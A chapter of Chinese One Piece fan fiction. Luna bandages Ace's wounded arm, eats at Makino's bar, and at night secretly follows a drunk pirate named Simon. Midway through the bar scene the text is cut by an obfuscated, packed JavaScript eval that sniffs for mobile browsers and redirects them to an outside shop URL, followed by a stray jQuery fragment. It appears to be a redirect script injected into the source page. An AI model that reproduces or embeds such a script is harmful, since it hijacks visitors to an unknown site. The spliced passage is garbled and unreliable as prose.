“艾……斯?”
露娜往前走了一步。她低头看着艾斯的手臂,伤口还在往外渗血,顺着小臂的弧度淌下来,滴在落叶上。
她从怀里拿出手帕,递过去。
“手臂出血了。”
路飞从露娜身侧探出头,看了一眼那道伤口,使劲点头:“真的!要快点包扎才行!”
艾斯没接手帕。
他仰头看着面前这个女人身上,又移到她递过来的手帕上。举着水管的手臂慢慢放了下来。
怪不得会被找到。只有路飞那个白痴一个人的话,一辈子都追不上他。
“你是谁?”
语气冷冷的。
露娜还没开口,路飞已经喊出来了。
“露娜——!”
艾斯皱眉,目光偏过去半寸:“我又没问你。”
“你们来干嘛的。”
露娜:“找你。”
路飞从另一边探出头,扬起一个笑,和露娜的声音叠在一起——
“交朋友!”
异口同声。
“我拒绝。”
他弯腰,准备把野猪扛起来走。
露娜往前挪了半步,拦在他面前。
“包扎。”
艾斯的脸色沉下来:“要你管。”
“达旦会担心。”
露娜说这句话的时候语气没有变。
艾斯顿了一下。
那个臭老太婆的脸从他脑子里晃过去——靠在门框上,烟管指着脑门,嗓门粗得能震飞树上的鸟。
她会担心?她只会骂骂咧咧地让他去多打点猎物回来,骂他是个没用的废物。
他看向露娜手里的手帕,又看向她那张没什么表情的脸。
这家伙是脑子坏了吗。
“怎么可能啊。”
手挥出去,把那条手帕打掉。白色的布料从露娜手里飞出去,在空中翻了一下,落在旁边的草上。
露娜低头看了一眼手帕,又抬起头看着艾斯,紫罗兰色的眼睛里没有任何被冒犯的痕迹。她弯腰把手帕捡起来,拍了拍上面的草屑。
然后她的手按在了艾斯的肩膀上。
艾斯往上一挣,没挣开。那只手看着细,力气却大得不正常。他被摁在原地,膝盖后面刚好抵住野猪庞大的身躯,腿一弯,坐了下去。
“……你这家伙(てめえ)干什么?”艾斯死死盯着她,语气不善,表情阴沉。
露娜蹲下来,没有看他,把手帕叠成长条,绕上他的小臂,布料压住伤口的时候力度刚刚好,没有多疼。
艾斯的身体僵了一下。他想起大人们投过来的——怜悯的、厌恶的、或者假装没看到的眼神。
她的指尖很温暖。和他预想的任何一种触碰都不一样,表情正相反。没有同情。没有厌恶,就是很普通的,像在做一件理所应当的事。黑色的发丝拂过他的手臂,又落在胸前,紫罗兰色的双眸正认真的盯着他的伤口看。
艾斯咬紧牙关,把脸侧过去,有什么东西在胸口翻涌——愤怒,烦躁,喉咙像被什么东西噎住了,堵得慌。
——和他根本不在一个世界的人。他的肩膀还绷着,身后野猪的尸体还温热着,隔着背心透过来。
“行了。”
把手帕的尾端塞进包扎的夹层里。露娜站起来。
艾斯回过神来,低头看了一眼手臂。白色的手帕缠得整整齐齐,结打在侧面,不会硌到。他站起来,拍了拍裤子上的草屑和泥土,把野猪扛上肩膀。
“这回可以走了吧。”
他没等回答,转身往林子里走。走了几步,脚步顿了一下。回头用警告的眼神盯着两人,语气冷漠。
“……别跟过来。”
路飞站在原地,看了看艾斯的背影,又看了看露娜,眼里困惑和失落搅在一起:“艾斯——”
露娜没说话,只是把路飞头上沾着的树叶摘了下来。
风吹过河滩,把远处的树叶吹得哗啦啦响。艾斯的背影越来越小,到最后只剩一抹红色在林子的深处晃了一下,然后融进了更深的绿色里。
露娜蹲下来,视线和路飞齐平
“天快黑了,今天就回家吧?”
路飞扁嘴,表情看起来不是很乐意,依旧点头“好吧。”
他走进达旦家的门,门关上了。
露娜在原地站了一会儿。然后转身。
酒馆的门被推开时,夕阳正好沉到海平线上。
整间店都被染成一层暖红的颜色,吧台上的玻璃杯边缘泛着金光,吧台被晒了一整天,摸上去还能感觉到余温。海风从敞开的窗户灌进来,带着咸味和凉意,把一整个白天的酷热慢慢吹散。
玛琪诺正解着围裙,听见门响抬起头。围裙的系带刚解开一半,她就这样挂在脖子上,看着露娜走进来。
“回来了,玩一天饿了吧,想吃什么”
“咖喱。”
玛琪诺把围裙从脖子上取下来,叠了两折放在吧台边上,语气里带着一点抱歉的笑意。
“咖喱都卖完了,明天吃吧。”
露娜站在吧台前想了半秒:“那就蛋包饭。”
玛琪诺转身进了后厨,露娜开始重新排列餐桌。店里已经没有客人了,把凌乱的椅子归位,把客人拼桌合在一起的桌子推到合适的位置。木腿划过地板的声音在空旷的店里格外清晰。
窗边的桌上有一份报纸,她拿起来,报纸被夕阳晒得微微发烫。
她扫了一眼。
「伟大的突破!!!海军科学班取得了新的船舰技术,预计很快可以投入使用」
再往下翻。
毒蛇海贼团vs「四皇」白胡子——世界最强的男人
一张版面巨大的照片,画面中间是倒地的残兵,有人还死死攥着半截旗杆,旗面上已经千疮百孔,隐约能看出来是一颗吐着信子的骷髅头。
白胡子海贼团的船员站在画面两侧,看起来毫发无伤。
角落里男人巨大的身体隐在暗处,只能看到弯月般的胡子,
照片的最底下,放大的标题。
「零出手,全军覆没——白胡子的“黑暗”!!!」
“最强——”露娜喃喃自语,白胡子是香克斯曾经提到过的名字。
她翻到下一页,是一整个版面的广告。
「绝对正义」的巨大标题。
「——将你的热血,染成正义的颜色——」
字印得又大又粗,生怕人看不见似的。
玛琪诺端着蛋包饭从后厨走出来时,看到露娜正站在窗边,一手拿着抹布,对着报纸发呆。
“那是村长掉在这里的报纸”玛琪诺把蛋包饭放在桌上“等等我送过去吧。先吃饭吧。”
露娜转过头,放下抹布,在餐桌前坐下来。
金黄色的蛋皮,中间鼓起来,上面用番茄酱画着一只卡通小狗,圆圆的脑袋,两只耷拉的耳朵,嘴巴是一个歪歪的“w”。小狗的旁边和头顶,围着一圈西兰花,像草丛,又像树。
露娜拿起筷子,手顿了一下。
她戳了一下边上的西兰花,挑起来,挪到餐盘的边缘,然后用叉子把小狗一分为二。热气从切口中冒出来,番茄炒饭的香味混着蛋皮的焦甜,扑面而来。
玛琪诺解下头巾,深绿色的头发从肩头散下来。她拿起桌上那份报纸,往门口走了两步,又回头。
“我去送报纸。西兰花不可以剩下哦”
夜晚。
打烊的时间已经过了快一个小时。
那个客人还瘫在吧台上,他的脑袋在胳膊上滚来滚去,脖子仿佛被人抽走了骨头,每一次转头都带着一种令人不适的粘腻感,领口敞开,胸口纹着显眼的刺青,酒精泡得发红的皮肤把它衬得格外扎眼。
“吶,玛琪诺酱~”声音从喉咙深处挤出来,黏黏糊糊的,“这一杯就当请我的,怎么样~”
玛琪诺擦着杯子,眼睛都没抬:“不行哟,客人上次也是这么说的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541059|203946||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“诶~求你了~最后一次了~”他撑着吧台把脸凑过去。酒气混着汗味喷在玛琪诺脸上,她往后仰了仰,忍不住后退了一步,脊背抵住了吧台后面的酒架。
露娜站在他身后擦桌子。桌面已经很干净了,椅子倒扣在桌上。她来来回回擦同一块地方,磨出“沙沙”的声响。眼睛像锁定猎物一样冷冷盯着男人的后颈。
男人终于走了。走的时候还在嘟囔“小气”、“下次不来了”之类的话,脚步打晃,肩膀撞了一下门框,消失在夜色里。
玛琪诺把最后一个杯子放回架上,长长地呼出一口气。她抬手捏了捏右侧的肩膀,脖子往左边偏了偏,骨头发出轻微的“咔嗒”声。
“最近经常来呢,”她说,声音里有一种连抱怨都算不上的疲倦,“老是赖账。”
露娜用“控诉”的眼神盯着玛琪诺。
玛琪诺被那个眼神看得愣了一下,然后笑了。她伸手揉了揉露娜的头发,像在揉一只炸了毛的猫,掌心温热,指尖带着柠檬味肥皂的气息。
“没办法呢。开店做生意嘛。”
露娜没有被说服。但她的表情没有变,只是把抹布叠好,挂在架子上,转身往楼上走。
隔壁玛琪诺已经吹灭了灯。月光从窗户缝里挤进来,在地上洒下一层薄纱。
露娜睁开眼睛。
她没有动,先听了一会儿。木质结构的房子隔音不好,能听到隔壁的呼吸声,均匀的,缓慢的,像潮水一涨一落。玛琪诺应该睡着了。
她掀开被子,赤脚踩在地板上。
窗户没有上锁。她用手托住窗框的下沿,轻轻往上提,缝隙大了,刚好容得下她的身体。手一撑,腰一弓,整个人就无声无息地翻了出去。
她蹲了一瞬,确认楼上没有动静,站起来拍了拍膝盖上的灰。
那个男人还没走远。坐在不远处的篱笆上,应该是在醒酒,肩膀一高一低,嘴里含混不清地哼着什么调子。月光把他胸口的刺青照得发白。
露娜退到围墙后面,准备从背后绕过去。
男人突然站起来,晃晃悠悠走到墙角。身体对着矮墙。水流冲击地面的声音和含混的哼唱混在一起,断断续续的,在夜里格外刺耳。
那是一口水井。村里公用的那口。
露娜的眉头拧在一起。她往后退了半步,把手探进怀里——手指再抽出来时,指间已经夹着一把细长的小刀,刀刃在月光下闪过一道冷芒。
男人提了裤子,踢了踢脚边的石子,继续往海边走。
海岸边有人三三两两地聚在一起,说话声被海风撕成碎片。火光忽明忽暗。空地一览无余,没有合适的掩体。露娜绕到一棵大树上,攀住树干,无声无息地翻到一根粗壮的枝桠上,借着茂密的树叶藏住身体。
“赛蒙,你又喝到这么晚。”一个男人从人群里走出来,胸口是相同的刺青。他一把拽住赛蒙的胳膊,力气很大,赛蒙踉跄了一下,“不去工作,布鲁杰姆船长知道了,活剥了你的皮。”
赛蒙甩开他的手,摆了摆手指,舌头还在打结:“才不会呢,我今天打探到一个好消息,船长高兴还来不及呢——”
人群那边传来推搡和吵闹的声音,似乎是某个海贼团的船员在分什么东西。火把的光晃来晃去,把沙滩上的影子拉成歪歪扭扭的一片。
“什么样的好消息,说来听听?”同伴凑近了一点。
赛蒙把手指竖在嘴前,神秘兮兮地晃了晃:“让你知道了还得了。”
他转身往人群的方向走,同伴在背后骂了一句什么,他也没回头。海风把后面的对话吹散了,只能隐约听到“火药”、“帮手”、“交接”几个零碎的词。
赛蒙。露娜把这个名字无声的在嘴里过了一遍,把刀收起。从树上翻下来,沿着原路返回。窗户还是那个缝隙。她翻进去,把窗框拉回原来的位置,没有发出声响。
被子还是她离开时的样子。
隔壁的呼吸声还在。被子哗啦响了一声,有人翻了个身。